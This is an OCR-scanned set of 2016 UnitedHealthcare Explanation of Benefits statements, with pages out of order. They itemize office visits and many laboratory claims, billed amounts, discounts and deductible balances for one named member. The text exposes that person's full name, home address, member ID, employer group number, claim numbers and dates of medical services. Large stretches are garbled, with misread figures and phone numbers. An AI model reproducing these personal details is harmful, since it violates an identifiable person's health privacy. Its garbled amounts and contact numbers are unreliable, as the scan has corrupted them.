as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000001147367494 S W0-00089-01 -029427-MCM6357-60311-AFUS 21SYCP I UnitedHealthcare United HealthCare Services, Inc. ~ AUniUldHNIIII ~~ GREENSBORO SERVICE CENTER PO BOX 740809 j ATLANTA GA 30374-0802 Have more questions about your claim? j Visit www.myuhc.com for all your claim and benefit information. Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims SummJry Detailed claim inforrnation is located oh the following page(s). . . -__ --r ' ' .l . ' : . -,]}. ; · "-~' --~t'-$300.00 This is the total amount that you_r provider billedifor th&.sel'?Jices thatwere. provided to yo\:,I. . • ~ •• I , 1 ' r• q II Plan Di~~oimts . . ' " . . _,,.. I .i . ~ s· ' . ,:. +'•t~--;'~-,, $143.32 Your plan.negotiates discounts with providers to save you!money. Th~ amount may ~lso 1ncl~e: .. ,;:, -~ -_sefVicesthat youare!l()tre~ponsibleto.pay. , · ·j : , __ ,, ·., ~-.... ·,. ·· · · ·, Your Plan Paid , ·:. --· ~ ·•••···. · ! • .11-,r1•j , " . ~ "•:·. -;1,. , ., $156.68 This_ is the ~rtion ef the amou nl billed~that was ~aid by your plan. ~~. ' Total amount yo~=owe the· provider(s) . , ,~-•-. •'"' ,:i ,__ ~~-.:~•.;,.:,;,._ ', . ~•:-':'_,,;a.;,:; ·"' • i::.--~-;.i• ~The portion of the Amount Billed,you ?We the prqvider(~)-~ This amount.do,es_r,lOt reflei:;t;any:-:.,. ~~: .,,,,__ _payment you may~have alr.eady.r:nad~,.aq he.~m~·Y9_!J ,i;pceived. 9.1:ue~ ½.his;,arw:>U!)t."fil~f i'!~u~.e-~ur­·.cd~uctit!fe, co-pay, coinsurarice,,and/oJ nqn.CQV~recl., charges. _This amoupt does ~t11nclud_e, any.!!. _, =-,:_,,_,o=,.;J:.•~~~-F ,·,:--J>&Yf118f1~-IJ:t~e ~o.t_~~ s~bsqib~. lt ~.P~Yl!lenJ ~as made di,realy t(l.the su~criber, ~ 111)~~ = ,. _ . · • · : · .:. -~subscriber i~ resp_o~sible for' paying tlie p_hY$icia1~;,facility or other lieallh care p~fessio.~~l::_!:.:J_ t 'JI. , t _ _ _ • • Wh~n giordination of oenefits· appli~. thi~amount will inclu_de_payrnl!.nts made to th.~ sµbs_r:rjber, l _,... ---· I I ·­ United HealthCare Services;Jr GREENSBORO SERVICE l. PO BOX 740809 ATLANTA GA 30374-0P' Phone: 1-800-638-88fV DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 1111•11111•1•1•111 I• h•I 111 Illh111 ••h1111111• • 11' •1111111• 111'• December 22, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member 10: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Claim 0 ' ProvidP' STD-EOB Use this EOB statement as a reference or retain a 000001147367494 S VJ-20230"03"092304-M0-16197-60311-AFUS Z:SYCP UnitedHealthcareIWA~~~ ,C. ,tcNTER July 15, 2016 ,1)2 4 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Jns of Key Terms , to Date: The total amount of money applied to your deductible or out of pocket as of ..:OB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefrt maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of6 000001025801473 S V J-20230'03'092303-M0-16197-60311,Al'US 22SYCP UnitedHealthcarel]IA-0...,~ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER July 15, 2016 PO BOX 740809 ATLANTA.,. GA 3037 4-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to ("')Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance ·;. Relationship: EE ·1N-NE1WORK ------· -••.•••>·­ r..:· 'IN "NE1WORK ~ ..--:-. l r ~t:.:-' $1,400.00 $700.00 --$700.00 Deductible Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $5,000.00 $5,000.00 I' ~. Met PUT PF N,EJWQRK rs::0.00 .-,~= $2,800.00 $0.00 $2,600.00 Deductible $5TT.OO $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 $0.00 $7,500.00 Page 5 of 6 S VJ-20230"02"092302-M0-16197-60311-AFUS 22SYCP UnitedHealthcare IJll A~O.:...,~ ,C. ,t:NTER July 15, 2016 ,Ll2 ,4 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. JISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE (OU OWE MAY INCLUDE WHAT YOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IFYOU NEED MORE ,IATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. ,eview of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. STD-EOB Use this EOB statement as a reference or retain as needed Page 4of 6 OCJ0001025801473 S VJ-20230'02"092301-M0-16197-S:1311-AFUS 22SYCP UnitedHealthca.refllAIMlcl-""'4>~ United HealthCare Services;... Inc. GREENSBORO SERVICE '--ENTER July 15, 2016 PO BOX 7 40809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: DAMUKI000O Provider: D MEYER Claim Number: 604748998801 Your Itemized Res onsibilit to Provider.. Amount You Date(s) of Type of Service Notes• Amount Plan I·-Your Plan.11 l Discounts (-) Paid (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe Service Billed (-) **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: S GALLAWAY Claim Number: 604677658101 Patient Account Number: 22580128 ourJtemized_Res onsibilit to Provider** Amount You Date(s) of Type of Service Notes• Amount Plan f Your Plan Service Billed (-) Discounts Hf Paid · Dedt.ctible (+) Copay (+) Coin!;t.ranc;e (+) Non Covered (=) Owe **This total does not reflect any payments/ copays you made at the time of service . • )> Please wait for a provider bill before making a payment. $105.00 $35.31 $69.69 $106,00 $36.31 $69.69 ~VINGS. YOUR NElWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE OU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE EASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. Page 3 of 6 S VJ-20230'01"092300-M0-16197-60311-AFUS 22SYCP -in UnitedHealthcare WJHA-r....,Ca,_,. July 15, 2016 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information . .• for JEFFREY DAMUKAITIS AAS HEALTH Claim Number: 604526471401 Patient Account Number: 3202222779 02F85003 Your Itemized Res onsibilityto Provider*• Oate(s) of Type of Service Notes* Amount Plan Your Pla[l l Amount You Service Billed (-) Discounts HI Paid 1(=) Deductible (+) Copay (+J Coinsurance (+) No11 Cuvered (=) Owe I ' 06/15/2016 • OFFICE VISITS D2 $1,128.75 $511.32 $617.43 06/29/2016 06/15/2016 • MEDICAL D2 $1,218.00 $510.00 $708.00 $0.00 $0.00 $0.00 $0.00 $0.0 06/29/2016 SERVICES Claim Total: $2,346.76 $1,021.32 $1,325.43 $0.00 $0,00 $0.00 $0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS HEALTH Claim Number: 604526471402 Patient Account Number: 3202222779 02F85003 Your Itemized Res onsibilit to Provider** Oate(s) of Type of Service Notes• Amount Plan Your Plan· Amount YoLJ Service Billed (-) Discounts (-) Paid . Deauct1ble ("') Copay (+) CoinsJr.111c;I:! (+) Non Covered(=) Owe , l c=> t.' ~;, , $0.00 $0.00 $0.00 $0.00 06/15/2016 ­LABORATORY D2 $830.75 $793.30 $37.45 06/29/2016 SERVICES Claim Total: $830.75 $793.30 $37.46 $0.00 $0.00 $0.00 $0.00 ·. I I I· -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 6 00000102S801473 United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 I 5 VJ-20230"01'092299-M0-16197-60311-AFUS 22SYCP UnitedHealthcare ~ Alnll!IHBallh Gro.4) ~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. July 15, 2016 Member/Patient InformationJEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). =-­ ~ Dollar Amount-Desc~iption .. .= An:to_unt Billed . . . " J : · . . !·. ,. ., ." . ·:,• ,. ,. , . , !,·!; · :,;. .• " $3,512.50 This 1s the total amount that your provider billed for the serv,ces that were provided to you. ··-" · .,· it -• 1. o i . · J . ;!I' Plan Discounts . ---~· I ,i' '·.\ ,, $1,971.18 Your plan-neg()t_iates discounts with_providers to ~ave you mopey. This amount ~ay '.also ·include :'.:_. (~i • ,... services that you are not responsible.to pay. · ,·.f, !11..,;.i:-Your Plan Paid -, . · ' I· · · ,; :. $1,541.32 .This is the portion of the amount biileo that was paid by your plan. --I , .,. __ = .;rota.I amount you o,we.ff'le provider(s) • -:. =1.. -:= . -..::;;-:F '.'.! .£­The poi1.ion of the Amot11nt Billed yo·111 owe-the p~er(s). This· amount does not reflect-anY-,:.;=-i:i payment you may have already m~de at tl)e Ume1.you.receiv:!:!d care . .:.:Tl')is amQun4,m,a,Y, in~lude-¥iPu.~ d~uctible, ~-pay, t9insurance and/pr non coveff!d charges~ This amount does .not include ·any . ______ paymM_ts_mad~.,to the sut?5criber'"'_ If.a_paymen\was made diragly to the subscfi~ -:=,, · subscri__ber_isJ esponsible for p•aying the physician, facility or 01heJ ~alth ca~ • Whe.n coorglnatiori of benefits appli.es,Jhi~ amount wiK.includ,!LO~ STD-EOB Use this EOB statement as a reference or reta 000001025601473 S VH-1:!902'06'063099,M0-16187-«1311-AFUS 22SYCP -111 Unit.edHealthcare u,4-~""""" United HealthCare Seivices;.. Inc. GREENSBORO SERVICE \.,ENTER July 05, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the seivices referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to ( =) Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE INNETWORK ·.: IN NETWORK. $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Mel Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Mel Deductible .OUT OF NETWORK -PUT-OF NE.TW.ORL $2,800.00-.. $0.00 $2,800.00 Deductible Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fo<ed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Page 11 of 11 Use this EOB statement as a reference or retain as needed S VH-12902"05"063098-MO-16167-60311 ·AFUS 22SYCP .m UnitedHealthcare VIA~Q,;o,e,~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER July 05, 2016 PO BOX 740809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infonnation to the appeal address referenced above. You may request copies (free of charge) of infonnation relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and morel For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Use this EOB statement as a reference or retain as needed Page 10 of 11 SVH-12902'05'063097•MO-18187-60311-AFUS 22SYCP United HealthCare Services,1,.Inc. July 05, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA;, GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 603843065401 Patient Account Number: 4-PH316339-0 Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts (-) Ded1.,ctible Your Itemized Res onsibili to Provider"" Amount You (+) Copay (+) Coinsurance (+) Non Covered(=) Owe 06/23/2016 LABORATORY SERVICES D1 $145.00 $96.64 Claim Total: $145.00 $96.64 $48.36 $0.00 $0.00 $0.00 $0.00 $0.00 ..This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OV\/E MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER \1\/EBSITE OR PLAN DOCUMENTS. IK-THE UNIT(S) FOR THIS SERVICEISWITHIN EITHER THE TYPICAL FREQUENCY RER DAY,_OR_THE FREQUENCY WITHIN THE GLOBAL PERIOD, OR THE MONTHLY RENTAL OF THIS ITEM ALLO\1\/ED UNDER THE PROVIDER'S AGREEMENT. \/VE HAVE BASED REIMBURSEMENT ON THE~ALLO\1\/ED UNIT(S). 06 -OUR RECORDS SHOW THESE SERVICES OR A PORTION OF THE GLOBAL CHARGE HAVE BEEN PREVIOUSLY SUBMITTED BY THIS OR ANOTHER PHYSICIAN OR OTHER HEAL TH CARE PROVIDER. 09 -THE NUMBER OF UNITS REPORTED EXCEEDS THE TYPICAL FREQUENCY PER DAY. THEREFORE, THE NUMBER OF UNITS THAT EXCEED THE TYPICAL FREQUENCY PER DAY ARE NOT BEING CONSIDERED. IF THE PROVIDER HAS ADDJTJONAL DOCUMENTATION, PLEASE SEND IT TO US FOR CONSIDERATION. IF THIS IS A RENTAL, A SINGLE RENTAL PAYMENT COVERS A FULL CALENDAR MONTH FOR DURABLE MEDICAL EQUIPMENT, ORTHOTICS AND PROSTHETICS AND IS ALLOWED ONCE PER CALENDAR MONTH. THE ADDITIONAL UNITS FOR THE RENTAL OF THIS ITEM HAVE BEEN DENIED AS EXCEEDING THESE LIMITS. You have the right to receive, upon request and free of charge, a copy of the internal rule, guideline or protocol that we relied upon in making the non-coverage decision for your claim. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHeatthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. STD-EOB Page 9 of 11 Use this EOB statement as a reference or retain as needed S VH-129021l4-{)63086-MO-16187-60311·AFUS 22SYCP UnitedHealth~ llllA-""4'c.,,,p.,, United HealthCare Services.i.. Inc. GREENSBORO SERVICE \.,ENTER July 05, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 602940493403 Patient Account Number: 4-WT119142-0 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan 0 Your Plan Amount You Service Billed (-) Discounts (-) I F>ald i,; Deductible (•) Cop.iy (+J Coinsurance (T) Non Covered(=) Owe 06/22/2016 LABORATORY 01 $56.25 $52.90 $3.35 . I i'i SERVICES Claim Total: $56.25 $52.90 $3.35 $0.00 $0.00 $0.00 $0.00 $0.00 ""This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 602994033501 Patient Account Number: 001500783258 Your Itemized Res onsibili to Provider"* Date(s) of Type of Service Notes* Amount Plan Your Plan AmoLJnt You Service Billed (-) Discounts (-) Paid Deductible (+) Copay (+) Coinsurance (+) Non Covered(=) Owe 06/2212016 LABORATORY D1 $19.00 $16.00 $3.00 SERVICES Claim Total: $19.00 $16.00 $3.00 $0.00 $0.00 $0.00 $0.00 $0.00 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment STD-EOB Use this EOB statement as a reference or retain as needed Page 8, of 11 000001017137595 S VH-12902'04"063095-MO-16187-00311·AFUS 22SYCP UnitedHealthcarel)l)A-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER July 05, 2016 PO BOX 7 40809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 4-WT119142-0 Provider: CLINICAL PATHOLOGY Claim Number: 602940493402 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Your Itemized Res onsibilit to Provider** . Date(s) of Service Type of Service Notes• Amount Billed (-) Plan Discounts 1-YourPlan (-} t Paid .· I I(=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Amount You Owe ' 06/22/2016 LABORATORY 01 $45.30 $41.11 $4.19 SERVICES 06/22/2016 LABORATORY 01 $72.70 $67.04 $5.66 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/2212016 LABORATORY 01 $79.00 $74.54 $4.46 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY D1 $118.75 $106.85 $11.90 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/2212016 LABORATORY D1 $80.00 $73.05 $6.95 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY 01 $149.50 $143.67 $5.83 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY 01 $31.50 $29.75 $1.75 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES -~---­ Claim Total: $576.75 $536.01-­ -$40,74 - _$0.00__ $0.00 $0.00 $0.00 $0.00 STD-EOB Page 7 of 11 Use this EOB statement as a reference or retain as needed S VH-12902'03'063094-M0-16187 -&1311-AFUS 22SYCP UnitedHealthcare ,.._...,..""­ United HealthCare Services;.. Inc. GREENSBORO SERVICE 1.,ENTER July 05, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: CLINICAL PATHOLOGY Claim Number: 602940493401 Patient Account Number: 4-WT119142-0 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan Amount You Service Billed {-) Discounts lJeauct1ble (+J Copay (+) Coinsurance (+) Non Covt!red (=) Owe 06/22/2016 LABORATORY D1 $231.50 $213.47 ' ...i SERVICES 06/22/2016 LABORATORY D1 $29.25 $27.20 $2.05 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY D1 $63.00 $58.81 $4.19 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY D1 $140.25 $130.50 $9.75 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY 01 $108.75 $99.93 $8.82 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/22/2016 LABORATORY 01 $131.50 $121.99 $9.51 $0.00 $0.00 $0.00 $0.00 SERVICES 06/22/2016 LABORATORY 01 $84.25 $77.97 $6.28 $0.00 $0.00 $0.00 $0.00 SERVICES Claim Total: $788.60 $729.87 $58.63 $0.00 $0.00 $0.00 $0,00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 6 of 11 Use this EOB statement as a reference or retain as needed 000001017137595 S VH-1.002'03'063093.MO-16167.$'.l311-AFUS 22SYCP United HealthCare Services,i,.I nc. July 05, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA.,, GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. Claim Detail for JEFFREY DAMUKAITIS Provider: LABORATORY Claim Number: 602444323402 Patient Account Number: 83507057 _ Your Itemized Res onsibilit to Provide..--• Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) i Paid (=) Deductible (+) Copay (+) Coinsuranc;e (+) Non Coverea (=) Owe -This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 602813976701 Patient Account Number: 001500783258 -Your Jtemized·Res onsibilit -to-Provider••-__ _ Date(s) of Type of Service Notes* Amount Plan lYourPlan l Amount You Service Billed (-) Discounts (-) _ Paid : ::?=) Ded1..ctible (+) Copay (+) Q.ol!ts1..rance (+) Non Covered (=) Owe 06/22/2016 OFFICE VISITS D1 $199.00 $73.91 $125.09 $0.00 $0.00 $0.00 $0.00 Claim Total: $199.00 $73,91 $126.09 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment STO-EOB Page 5 of 11 Use this EOB statement as a reference or retain as needed S VH-1:2902'02'063092-MO-18187-60311-AFUS 22SYCP UnitedHealthcare 11111Q/A--ea..,.,, United HealthCare Services;..lnc. GREENSBORO SERVICE vENTER PO BOX 7 40809 July 05, 2016 ATLANTA.a.GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: lABORATORY Claim Number: 602444323401 Patient Account Number: 83507057 Date(s) of Type of Service Notes• Amount Plan f Your: J?l, n Your Itemized Res onsi_bility to Provider** Amount You Service Billed (-) Discounts (-) 1. r aid ,4, , Dedu(;tibte (+) Copay (+} Coinsurance (+) Non Covered(-) Owe 06/14/2016 LABORATORY 01 $270.41 $251.72 $1 - $0.00 $0.00 $0.00 0.00 SERVICES 06/14/2016 LABORATORY 01 $450.92 $429.44 $21.48 $0.00 $0.00 $0.00 $0.00 SERVICES 06/14/2016 LABORATORY 01 $123.06 $112.03 $11.03 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/14/2016 LABORATORY 01 $112.50 $102.45 $10.05 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/14/2016 LABORATORY 06 $112.50 $112.50 $0.00 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 06/14/2016 LABORATORY 01 $10.00 $9.99 $0.01 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES Claim Total: $1,079.39 $1,018.13 $61.26 $0.00 $0.00 $0.00 $0.00 $0.00 ••This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STO-EOB Page 4 of 11 Use this EOB statement as a reference or retain as needed S VM.12902"02"()63()91-MO-16187 -«1311-Af US 22SYCP .i11 UnitedHealthcare v"-Clo<>"""­ United HealthCare Services;. Inc. July 05, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA,, GA 30374-0802 Have more questions about your claim? Phone: 1-00~638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 80200842 Your Itemized Res onsibilityto Provider•• Date(s) of Type of Service Notes" Amount Plan i Your Plan Amount You Provider: LABORATORY CORP OF Claim Number: 602183860801 ' Service Billed (-) Discounts (-) ,., Pai~ i(=) Deductible (+J Copay (+} Co111s-1rance (+) Non Covered (=) Owe 06/14/2016 LABORATORY SERVICES D1 $242.00 $230.97 $11.03 - 06/14/2016 LABORATORY D1 $186.00 $174.70 $11.30 $0.00 $0,00 $0,00 $0.00 - SERVICES Claim Total: $428.00 $406.67 $22.33 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment STD-EOB Page 3 of 11 Use this EOB statement as a reference or retain as needed SVH-1:1902'01'063090-MO-16187-00311-AFUS 22Sl'CP United HealthCare Services;.. Inc. GREENSBORO SERVICE ~ENTER PO BOX 740809 July 05, 2016 ATLANTA.i. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: D KERWIN Claim Number: 601 809249001 Patient Account Number: 03E30303031-4 Your Itemized Res onsibillt to 